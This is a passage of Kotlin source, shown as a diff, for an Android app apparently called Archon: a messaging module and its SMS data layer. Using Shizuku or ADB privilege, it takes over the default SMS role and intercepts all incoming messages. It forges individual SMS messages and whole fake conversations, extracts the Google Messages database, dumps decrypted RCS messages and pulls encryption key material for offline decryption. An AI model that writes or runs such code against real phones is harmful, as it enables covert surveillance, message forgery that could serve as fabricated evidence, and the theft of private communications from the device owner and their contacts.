privilegeRequired = false
|
||||
)
|
||||
)
|
||||
|
||||
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||
val repo = MessagingRepository(context)
|
||||
val shizuku = ShizukuManager(context)
|
||||
|
||||
return when {
|
||||
actionId == "become_default" -> becomeDefault(shizuku)
|
||||
actionId == "restore_default" -> restoreDefault(shizuku)
|
||||
actionId == "export_all" -> exportAll(context, repo)
|
||||
actionId == "export_thread" -> ModuleResult(false, "Specify thread: export_thread:<threadId>")
|
||||
actionId.startsWith("export_thread:") -> {
|
||||
val threadId = actionId.substringAfter(":").toLongOrNull()
|
||||
?: return ModuleResult(false, "Invalid thread ID")
|
||||
exportThread(context, repo, threadId)
|
||||
}
|
||||
actionId == "forge_message" -> ModuleResult(false, "Usage: forge_message:<address>:<body>:<type 1=recv 2=sent>")
|
||||
actionId.startsWith("forge_message:") -> {
|
||||
val params = actionId.removePrefix("forge_message:").split(":", limit = 3)
|
||||
if (params.size < 3) return ModuleResult(false, "Usage: forge_message:<address>:<body>:<type>")
|
||||
val type = params[2].toIntOrNull() ?: 1
|
||||
forgeMessage(repo, params[0], params[1], type)
|
||||
}
|
||||
actionId == "forge_conversation" -> ModuleResult(false, "Specify address: forge_conversation:<phone>")
|
||||
actionId.startsWith("forge_conversation:") -> {
|
||||
val address = actionId.substringAfter(":")
|
||||
forgeConversation(repo, address)
|
||||
}
|
||||
actionId == "search_messages" -> ModuleResult(false, "Specify query: search_messages:<keyword>")
|
||||
actionId.startsWith("search_messages:") -> {
|
||||
val query = actionId.substringAfter(":")
|
||||
searchMessages(repo, query)
|
||||
}
|
||||
actionId == "rcs_status" -> rcsStatus(context, repo, shizuku)
|
||||
actionId == "shizuku_status" -> shizukuStatus(shizuku)
|
||||
actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off")
|
||||
actionId == "intercept_mode:on" -> interceptMode(shizuku, true)
|
||||
actionId == "intercept_mode:off" -> interceptMode(shizuku, false)
|
||||
actionId == "rcs_account" -> rcsAccountInfo(shizuku)
|
||||
actionId == "extract_bugle_db" -> extractBugleDb(shizuku)
|
||||
actionId == "dump_decrypted" -> dumpDecrypted(shizuku)
|
||||
actionId == "extract_keys" -> extractKeys(shizuku)
|
||||
actionId == "gmsg_info" -> gmsgInfo(shizuku)
|
||||
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||
}
|
||||
}
|
||||
|
||||
override fun getStatus(context: Context): ModuleStatus {
|
||||
val shizuku = ShizukuManager(context)
|
||||
val shizukuReady = shizuku.isReady()
|
||||
val privilegeReady = PrivilegeManager.isReady()
|
||||
|
||||
val summary = when {
|
||||
shizukuReady -> "Ready (elevated access)"
|
||||
privilegeReady -> "Ready (basic access)"
|
||||
else -> "No privilege access — run Setup"
|
||||
}
|
||||
|
||||
return ModuleStatus(
|
||||
active = shizukuReady || privilegeReady,
|
||||
summary = summary,
|
||||
details = mapOf(
|
||||
"shizuku" to shizuku.getStatus().label,
|
||||
"privilege" to PrivilegeManager.getAvailableMethod().label
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
// ── Action implementations ─────────────────────────────────────
|
||||
|
||||
private fun becomeDefault(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required — start Archon Server or Shizuku first")
|
||||
}
|
||||
|
||||
val success = shizuku.setDefaultSmsApp()
|
||||
return if (success) {
|
||||
ModuleResult(true, "Archon is now the default SMS app — can write to SMS database",
|
||||
listOf("Previous default saved for restoration",
|
||||
"Use 'Restore Default' when done"))
|
||||
} else {
|
||||
ModuleResult(false, "Failed to set default SMS app — check Shizuku/ADB permissions")
|
||||
}
|
||||
}
|
||||
|
||||
private fun restoreDefault(shizuku: ShizukuManager): ModuleResult {
|
||||
val success = shizuku.revokeDefaultSmsApp()
|
||||
return if (success) {
|
||||
ModuleResult(true, "Default SMS app restored")
|
||||
} else {
|
||||
ModuleResult(false, "Failed to restore default SMS app")
|
||||
}
|
||||
}
|
||||
|
||||
private fun exportAll(context: Context, repo: MessagingRepository): ModuleResult {
|
||||
return try {
|
||||
val xml = repo.exportAllMessages("xml")
|
||||
if (xml.isBlank()) {
|
||||
return ModuleResult(false, "No messages to export (check SMS permission)")
|
||||
}
|
||||
|
||||
// Write to file
|
||||
val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date())
|
||||
val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export")
|
||||
exportDir.mkdirs()
|
||||
val file = File(exportDir, "sms_backup_$timestamp.xml")
|
||||
file.writeText(xml)
|
||||
|
||||
val lineCount = xml.lines().size
|
||||
ModuleResult(true, "Exported $lineCount lines to ${file.absolutePath}",
|
||||
listOf("Format: SMS Backup & Restore compatible XML",
|
||||
"Path: ${file.absolutePath}",
|
||||
"Size: ${file.length() / 1024}KB"))
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Export failed", e)
|
||||
ModuleResult(false, "Export failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun exportThread(context: Context, repo: MessagingRepository, threadId: Long): ModuleResult {
|
||||
return try {
|
||||
val xml = repo.exportConversation(threadId, "xml")
|
||||
if (xml.isBlank()) {
|
||||
return ModuleResult(false, "No messages in thread $threadId or no permission")
|
||||
}
|
||||
|
||||
val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date())
|
||||
val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export")
|
||||
exportDir.mkdirs()
|
||||
val file = File(exportDir, "thread_${threadId}_$timestamp.xml")
|
||||
file.writeText(xml)
|
||||
|
||||
ModuleResult(true, "Exported thread $threadId to ${file.name}",
|
||||
listOf("Path: ${file.absolutePath}", "Size: ${file.length() / 1024}KB"))
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Thread export failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun forgeMessage(repo: MessagingRepository, address: String, body: String, type: Int): ModuleResult {
|
||||
val id = repo.forgeMessage(
|
||||
address = address,
|
||||
body = body,
|
||||
type = type,
|
||||
date = System.currentTimeMillis(),
|
||||
read = true
|
||||
)
|
||||
|
||||
return if (id >= 0) {
|
||||
val direction = if (type == 1) "received" else "sent"
|
||||
ModuleResult(true, "Forged $direction message id=$id",
|
||||
listOf("Address: $address", "Body: ${body.take(50)}", "Type: $direction"))
|
||||
} else {
|
||||
ModuleResult(false, "Forge failed — is Archon the default SMS app? Use 'Become Default' first")
|
||||
}
|
||||
}
|
||||
|
||||
private fun forgeConversation(repo: MessagingRepository, address: String): ModuleResult {
|
||||
// Create a sample conversation with back-and-forth messages
|
||||
val messages = listOf(
|
||||
"Hey, are you there?" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
|
||||
"Yeah, what's up?" to MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
"Can you meet me later?" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
|
||||
"Sure, what time?" to MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
"Around 7pm at the usual place" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
|
||||
"Sounds good, see you then" to MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
)
|
||||
|
||||
val threadId = repo.forgeConversation(address, messages)
|
||||
return if (threadId >= 0) {
|
||||
ModuleResult(true, "Forged conversation thread=$threadId with ${messages.size} messages",
|
||||
listOf("Address: $address", "Messages: ${messages.size}", "Thread ID: $threadId"))
|
||||
} else {
|
||||
ModuleResult(false, "Forge conversation failed — is Archon the default SMS app?")
|
||||
}
|
||||
}
|
||||
|
||||
private fun searchMessages(repo: MessagingRepository, query: String): ModuleResult {
|
||||
val results = repo.searchMessages(query)
|
||||
if (results.isEmpty()) {
|
||||
return ModuleResult(true, "No messages matching '$query'")
|
||||
}
|
||||
|
||||
val details = results.take(20).map { msg ->
|
||||
val direction = if (msg.type == 1) "recv" else "sent"
|
||||
val dateStr = SimpleDateFormat("MM/dd HH:mm", Locale.US).format(Date(msg.date))
|
||||
"[$direction] ${msg.address} ($dateStr): ${msg.body.take(60)}"
|
||||
}
|
||||
|
||||
val extra = if (results.size > 20) {
|
||||
listOf("... and ${results.size - 20} more results")
|
||||
} else {
|
||||
emptyList()
|
||||
}
|
||||
|
||||
return ModuleResult(true, "${results.size} message(s) matching '$query'",
|
||||
details + extra)
|
||||
}
|
||||
|
||||
private fun rcsStatus(context: Context, repo: MessagingRepository, shizuku: ShizukuManager): ModuleResult {
|
||||
val details = mutableListOf<String>()
|
||||
|
||||
// Check RCS availability
|
||||
val rcsAvailable = repo.isRcsAvailable()
|
||||
details.add("RCS available: $rcsAvailable")
|
||||
|
||||
if (rcsAvailable) {
|
||||
details.add("Provider: Google Messages")
|
||||
} else {
|
||||
details.add("RCS not detected — Google Messages may not be installed or RCS not enabled")
|
||||
}
|
||||
|
||||
// Check if we can access RCS provider
|
||||
if (shizuku.isReady()) {
|
||||
val canAccess = shizuku.accessRcsProvider()
|
||||
details.add("RCS provider access: $canAccess")
|
||||
|
||||
if (canAccess) {
|
||||
val rcsMessages = shizuku.readRcsDatabase()
|
||||
details.add("RCS messages readable: ${rcsMessages.size}")
|
||||
}
|
||||
} else {
|
||||
details.add("Elevated access needed for full RCS access")
|
||||
}
|
||||
|
||||
return ModuleResult(true,
|
||||
if (rcsAvailable) "RCS available" else "RCS not detected",
|
||||
details)
|
||||
}
|
||||
|
||||
private fun shizukuStatus(shizuku: ShizukuManager): ModuleResult {
|
||||
val status = shizuku.getStatus()
|
||||
val privilegeMethod = PrivilegeManager.getAvailableMethod()
|
||||
|
||||
val details = listOf(
|
||||
"Shizuku status: ${status.label}",
|
||||
"Privilege method: ${privilegeMethod.label}",
|
||||
"Elevated ready: ${shizuku.isReady()}",
|
||||
"Can write SMS DB: ${status == ShizukuManager.ShizukuStatus.READY}",
|
||||
"Can access RCS: ${status == ShizukuManager.ShizukuStatus.READY}"
|
||||
)
|
||||
|
||||
return ModuleResult(true, status.label, details)
|
||||
}
|
||||
|
||||
private fun interceptMode(shizuku: ShizukuManager, enable: Boolean): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required for interception")
|
||||
}
|
||||
|
||||
val success = shizuku.interceptSms(enable)
|
||||
return if (success) {
|
||||
val state = if (enable) "ENABLED" else "DISABLED"
|
||||
ModuleResult(true, "SMS interception $state",
|
||||
listOf(if (enable) {
|
||||
"Archon is now the default SMS handler — all incoming messages will be captured"
|
||||
} else {
|
||||
"Previous SMS handler restored"
|
||||
}))
|
||||
} else {
|
||||
ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception")
|
||||
}
|
||||
}
|
||||
|
||||
// ── Google Messages RCS database access ─────────────────────────
|
||||
|
||||
private fun rcsAccountInfo(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required")
|
||||
}
|
||||
return try {
|
||||
val info = shizuku.getRcsAccountInfo()
|
||||
val details = mutableListOf<String>()
|
||||
details.add("IMS registered: ${info["ims_registered"] ?: "unknown"}")
|
||||
details.add("RCS enabled: ${info["rcs_enabled"] ?: "unknown"}")
|
||||
val gmsg = info["google_messages"] as? Map<*, *>
|
||||
if (gmsg != null) {
|
||||
details.add("Google Messages: v${gmsg["version"] ?: "?"} (UID: ${gmsg["uid"] ?: "?"})")
|
||||
}
|
||||
val rcsConfig = info["carrier_rcs_config"] as? Map<*, *>
|
||||
if (rcsConfig != null && rcsConfig.isNotEmpty()) {
|
||||
details.add("Carrier RCS keys: ${rcsConfig.size}")
|
||||
rcsConfig.entries.take(5).forEach { (k, v) ->
|
||||
details.add(" $k = $v")
|
||||
}
|
||||
}
|
||||
val gmsgPrefs = info["gmsg_rcs_prefs"] as? Map<*, *>
|
||||
if (gmsgPrefs != null && gmsgPrefs.isNotEmpty()) {
|
||||
details.add("Google Messages RCS prefs: ${gmsgPrefs.size}")
|
||||
gmsgPrefs.entries.take(5).forEach { (k, v) ->
|
||||
details.add(" $k = $v")
|
||||
}
|
||||
}
|
||||
ModuleResult(true, "RCS account info retrieved", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun extractBugleDb(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required — bugle_db is encrypted at rest")
|
||||
}
|
||||
return try {
|
||||
val result = shizuku.extractBugleDbRaw()
|
||||
val dbFiles = result["db_files"] as? List<*> ?: emptyList<String>()
|
||||
val details = mutableListOf<String>()
|
||||
details.add("Database files: ${dbFiles.joinToString(", ")}")
|
||||
details.add("Staging dir: ${result["staging_dir"]}")
|
||||
details.add("ENCRYPTED: ${result["encrypted"]}")
|
||||
details.add(result["note"].toString())
|
||||
details.add("")
|
||||
details.add("Use AUTARCH web UI to pull from: ${result["staging_dir"]}")
|
||||
details.add("Key material in shared_prefs/ may enable offline decryption")
|
||||
details.add("Hardware-backed Keystore keys cannot be extracted via ADB")
|
||||
ModuleResult(dbFiles.isNotEmpty(), "Extracted ${dbFiles.size} DB files + key material", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Extract failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun dumpDecrypted(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required")
|
||||
}
|
||||
return try {
|
||||
val result = shizuku.dumpDecryptedMessages()
|
||||
val count = result["message_count"] as? Int ?: 0
|
||||
val details = mutableListOf<String>()
|
||||
details.add("Messages retrieved: $count")
|
||||
details.add("RCS provider accessible: ${result["rcs_provider_accessible"]}")
|
||||
if (result["json_path"] != null) {
|
||||
details.add("JSON dump: ${result["json_path"]}")
|
||||
}
|
||||
details.add(result["note"].toString())
|
||||
if (count > 0) {
|
||||
details.add("")
|
||||
details.add("Use AUTARCH web UI to pull the decrypted dump")
|
||||
}
|
||||
ModuleResult(count > 0, "$count messages dumped (decrypted)", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Dump failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun extractKeys(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required")
|
||||
}
|
||||
return try {
|
||||
val result = shizuku.extractEncryptionKeyMaterial()
|
||||
if (result.containsKey("error")) {
|
||||
return ModuleResult(false, result["error"].toString())
|
||||
}
|
||||
val details = mutableListOf<String>()
|
||||
val cryptoCount = result["crypto_prefs_count"] as? Int ?: 0
|
||||
details.add("Crypto-related shared_prefs files: $cryptoCount")
|
||||
val prefFiles = result["shared_prefs_files"] as? List<*>
|
||||
if (prefFiles != null) {
|
||||
details.add("Total shared_prefs files: ${prefFiles.size}")
|
||||
}
|
||||
val filesDir = result["files_dir"] as? List<*>
|
||||
if (filesDir != null) {
|
||||
details.add("Files dir entries: ${filesDir.size}")
|
||||
}
|
||||
details.add("")
|
||||
details.add("NOTE: bugle_db encryption key may be in these files.")
|
||||
details.add("Hardware-backed Android Keystore keys cannot be extracted.")
|
||||
details.add("If key derivation params are in shared_prefs, offline")
|
||||
details.add("decryption may be possible with the right tools.")
|
||||
ModuleResult(cryptoCount > 0, "Extracted $cryptoCount crypto-related files", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Key extraction failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun gmsgInfo(shizuku: ShizukuManager): ModuleResult {
|
||||
return try {
|
||||
val info = shizuku.getGoogleMessagesInfo()
|
||||
if (info.isEmpty()) {
|
||||
return ModuleResult(false, "Google Messages not found or not accessible")
|
||||
}
|
||||
val details = info.map { (k, v) -> "$k: $v" }
|
||||
ModuleResult(true, "Google Messages v${info["version"] ?: "?"}", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,940 @@
|
||||
package com.darkhal.archon.messaging
|
||||
|
||||
import android.content.ContentValues
|
||||
import android.content.Context
|
||||
import android.database.Cursor
|
||||
import android.net.Uri
|
||||
import android.provider.ContactsContract
|
||||
import android.provider.Telephony
|
||||
import android.telephony.SmsManager
|
||||
import android.util.Log
|
||||
import java.text.SimpleDateFormat
|
||||
import java.util.Date
|
||||
import java.util.Locale
|
||||
|
||||
/**
|
||||
* Data access layer for SMS/MMS/RCS messages using Android ContentResolver.
|
||||
*
|
||||
* Most write operations require the app to be the default SMS handler.
|
||||
* Use ShizukuManager or RoleManager to acquire that role first.
|
||||
*/
|
||||
class MessagingRepository(private val context: Context) {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "MessagingRepo"
|
||||
|
||||
// SMS message types
|
||||
const val MESSAGE_TYPE_RECEIVED = 1
|
||||
const val MESSAGE_TYPE_SENT = 2
|
||||
const val MESSAGE_TYPE_DRAFT = 3
|
||||
const val MESSAGE_TYPE_OUTBOX = 4
|
||||
const val MESSAGE_TYPE_FAILED = 5
|
||||
const val MESSAGE_TYPE_QUEUED = 6
|
||||
|
||||
// Content URIs
|
||||
val URI_SMS: Uri = Uri.parse("content://sms/")
|
||||
val URI_MMS: Uri = Uri.parse("content://mms/")
|
||||
val URI_SMS_CONVERSATIONS: Uri = Uri.parse("content://sms/conversations/")
|
||||
val URI_MMS_SMS_CONVERSATIONS: Uri = Uri.parse("content://mms-sms/conversations/")
|
||||
val URI_MMS_SMS_COMPLETE: Uri = Uri.parse("content://mms-sms/complete-conversations/")
|
||||
|
||||
// RCS content provider (Google Messages)
|
||||
val URI_RCS_MESSAGES: Uri = Uri.parse("content://im/messages")
|
||||
val URI_RCS_THREADS: Uri = Uri.parse("content://im/threads")
|
||||
}
|
||||
|
||||
// ── Data classes ───────────────────────────────────────────────
|
||||
|
||||
data class Conversation(
|
||||
val threadId: Long,
|
||||
val address: String,
|
||||
val snippet: String,
|
||||
val date: Long,
|
||||
val messageCount: Int,
|
||||
val unreadCount: Int,
|
||||
val contactName: String?
|
||||
)
|
||||
|
||||
data class Message(
|
||||
val id: Long,
|
||||
val threadId: Long,
|
||||
val address: String,
|
||||
val body: String,
|
||||
val date: Long,
|
||||
val type: Int,
|
||||
val read: Boolean,
|
||||
val status: Int,
|
||||
val isRcs: Boolean,
|
||||
val isMms: Boolean,
|
||||
val contactName: String?
|
||||
)
|
||||
|
||||
// ── Read operations ────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Get all conversations from the combined SMS+MMS threads provider.
|
||||
* Falls back to SMS-only conversations if the combined provider is not available.
|
||||
*/
|
||||
fun getConversations(): List<Conversation> {
|
||||
val conversations = mutableListOf<Conversation>()
|
||||
val threadMap = mutableMapOf<Long, Conversation>()
|
||||
|
||||
try {
|
||||
// Query all SMS messages grouped by thread_id
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "read", "type"),
|
||||
null, null, "date DESC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val threadId = it.getLongSafe("thread_id")
|
||||
if (threadId <= 0) continue
|
||||
|
||||
val existing = threadMap[threadId]
|
||||
if (existing != null) {
|
||||
// Update counts
|
||||
val unread = if (!it.getBoolSafe("read")) 1 else 0
|
||||
threadMap[threadId] = existing.copy(
|
||||
messageCount = existing.messageCount + 1,
|
||||
unreadCount = existing.unreadCount + unread
|
||||
)
|
||||
} else {
|
||||
val address = it.getStringSafe("address")
|
||||
val read = it.getBoolSafe("read")
|
||||
threadMap[threadId] = Conversation(
|
||||
threadId = threadId,
|
||||
address = address,
|
||||
snippet = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
messageCount = 1,
|
||||
unreadCount = if (!read) 1 else 0,
|
||||
contactName = getContactName(address)
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
conversations.addAll(threadMap.values)
|
||||
conversations.sortByDescending { it.date }
|
||||
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "No SMS read permission", e)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to get conversations", e)
|
||||
}
|
||||
|
||||
return conversations
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all messages in a specific thread, ordered by date ascending (oldest first).
|
||||
*/
|
||||
fun getMessages(threadId: Long): List<Message> {
|
||||
val messages = mutableListOf<Message>()
|
||||
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
|
||||
"thread_id = ?",
|
||||
arrayOf(threadId.toString()),
|
||||
"date ASC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val address = it.getStringSafe("address")
|
||||
messages.add(Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = it.getLongSafe("thread_id"),
|
||||
address = address,
|
||||
body = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
type = it.getIntSafe("type"),
|
||||
read = it.getBoolSafe("read"),
|
||||
status = it.getIntSafe("status"),
|
||||
isRcs = false,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
// Also try to load MMS messages for this thread
|
||||
loadMmsForThread(threadId, messages)
|
||||
|
||||
// Sort combined list by date
|
||||
messages.sortBy { it.date }
|
||||
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "No SMS read permission", e)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to get messages for thread $threadId", e)
|
||||
}
|
||||
|
||||
return messages
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a single message by ID.
|
||||
*/
|
||||
fun getMessage(id: Long): Message? {
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
|
||||
"_id = ?",
|
||||
arrayOf(id.toString()),
|
||||
null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val address = it.getStringSafe("address")
|
||||
return Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = it.getLongSafe("thread_id"),
|
||||
address = address,
|
||||
body = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
type = it.getIntSafe("type"),
|
||||
read = it.getBoolSafe("read"),
|
||||
status = it.getIntSafe("status"),
|
||||
isRcs = false,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
)
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to get message $id", e)
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
/**
|
||||
* Full-text search across all SMS message bodies.
|
||||
*/
|
||||
fun searchMessages(query: String): List<Message> {
|
||||
val messages = mutableListOf<Message>()
|
||||
if (query.isBlank()) return messages
|
||||
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
|
||||
"body LIKE ?",
|
||||
arrayOf("%$query%"),
|
||||
"date DESC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val address = it.getStringSafe("address")
|
||||
messages.add(Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = it.getLongSafe("thread_id"),
|
||||
address = address,
|
||||
body = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
type = it.getIntSafe("type"),
|
||||
read = it.getBoolSafe("read"),
|
||||
status = it.getIntSafe("status"),
|
||||
isRcs = false,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Search failed for '$query'", e)
|
||||
}
|
||||
|
||||
return messages
|
||||
}
|
||||
|
||||
/**
|
||||
* Lookup contact display name by phone number.
|
||||
*/
|
||||
fun getContactName(address: String): String? {
|
||||
if (address.isBlank()) return null
|
||||
|
||||
try {
|
||||
val uri = Uri.withAppendedPath(
|
||||
ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
|
||||
Uri.encode(address)
|
||||
)
|
||||
val cursor = context.contentResolver.query(
|
||||
uri,
|
||||
arrayOf(ContactsContract.PhoneLookup.DISPLAY_NAME),
|
||||
null, null, null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val idx = it.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME)
|
||||
if (idx >= 0) return it.getString(idx)
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
// Contact lookup can fail for short codes, etc.
|
||||
Log.d(TAG, "Contact lookup failed for $address: ${e.message}")
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
// ── Write operations (requires default SMS app role) ──────────
|
||||
|
||||
/**
|
||||
* Send an SMS message via SmsManager.
|
||||
* Returns true if the message was submitted to the system for sending.
|
||||
*/
|
||||
fun sendSms(address: String, body: String): Boolean {
|
||||
return try {
|
||||
val smsManager = context.getSystemService(SmsManager::class.java)
|
||||
if (body.length > 160) {
|
||||
val parts = smsManager.divideMessage(body)
|
||||
smsManager.sendMultipartTextMessage(address, null, parts, null, null)
|
||||
} else {
|
||||
smsManager.sendTextMessage(address, null, body, null, null)
|
||||
}
|
||||
// Also insert into sent box
|
||||
insertSms(address, body, MESSAGE_TYPE_SENT, System.currentTimeMillis(), true)
|
||||
true
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to send SMS to $address", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Insert an SMS record into the content provider.
|
||||
* Requires default SMS app role for writing.
|
||||
*
|
||||
* @param type 1=received, 2=sent, 3=draft, 4=outbox, 5=failed, 6=queued
|
||||
* @return the row ID of the inserted message, or -1 on failure
|
||||
*/
|
||||
fun insertSms(address: String, body: String, type: Int, date: Long, read: Boolean): Long {
|
||||
return try {
|
||||
val values = ContentValues().apply {
|
||||
put("address", address)
|
||||
put("body", body)
|
||||
put("type", type)
|
||||
put("date", date)
|
||||
put("read", if (read) 1 else 0)
|
||||
put("seen", 1)
|
||||
}
|
||||
|
||||
val uri = context.contentResolver.insert(URI_SMS, values)
|
||||
if (uri != null) {
|
||||
val id = uri.lastPathSegment?.toLongOrNull() ?: -1L
|
||||
Log.i(TAG, "Inserted SMS id=$id type=$type addr=$address")
|
||||
id
|
||||
} else {
|
||||
Log.w(TAG, "SMS insert returned null URI — app may not be default SMS handler")
|
||||
-1L
|
||||
}
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "No write permission — must be default SMS app", e)
|
||||
-1L
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to insert SMS", e)
|
||||
-1L
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Update an existing SMS message's fields.
|
||||
*/
|
||||
fun updateMessage(id: Long, body: String?, type: Int?, date: Long?, read: Boolean?): Boolean {
|
||||
return try {
|
||||
val values = ContentValues()
|
||||
body?.let { values.put("body", it) }
|
||||
type?.let { values.put("type", it) }
|
||||
date?.let { values.put("date", it) }
|
||||
read?.let { values.put("read", if (it) 1 else 0) }
|
||||
|
||||
if (values.size() == 0) return false
|
||||
|
||||
val count = context.contentResolver.update(
|
||||
Uri.parse("content://sms/$id"),
|
||||
values, null, null
|
||||
)
|
||||
Log.i(TAG, "Updated SMS id=$id, rows=$count")
|
||||
count > 0
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "No write permission for update", e)
|
||||
false
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to update message $id", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete a single SMS message by ID.
|
||||
*/
|
||||
fun deleteMessage(id: Long): Boolean {
|
||||
return try {
|
||||
val count = context.contentResolver.delete(
|
||||
Uri.parse("content://sms/$id"), null, null
|
||||
)
|
||||
Log.i(TAG, "Deleted SMS id=$id, rows=$count")
|
||||
count > 0
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to delete message $id", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete all messages in a conversation thread.
|
||||
*/
|
||||
fun deleteConversation(threadId: Long): Boolean {
|
||||
return try {
|
||||
val count = context.contentResolver.delete(
|
||||
URI_SMS, "thread_id = ?", arrayOf(threadId.toString())
|
||||
)
|
||||
Log.i(TAG, "Deleted conversation thread=$threadId, rows=$count")
|
||||
count > 0
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to delete conversation $threadId", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Mark all messages in a thread as read.
|
||||
*/
|
||||
fun markAsRead(threadId: Long): Boolean {
|
||||
return try {
|
||||
val values = ContentValues().apply {
|
||||
put("read", 1)
|
||||
put("seen", 1)
|
||||
}
|
||||
val count = context.contentResolver.update(
|
||||
URI_SMS, values,
|
||||
"thread_id = ? AND read = 0",
|
||||
arrayOf(threadId.toString())
|
||||
)
|
||||
Log.i(TAG, "Marked $count messages as read in thread $threadId")
|
||||
count >= 0
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to mark thread $threadId as read", e)
|
||||
false
|
||||
}
|
||||
}
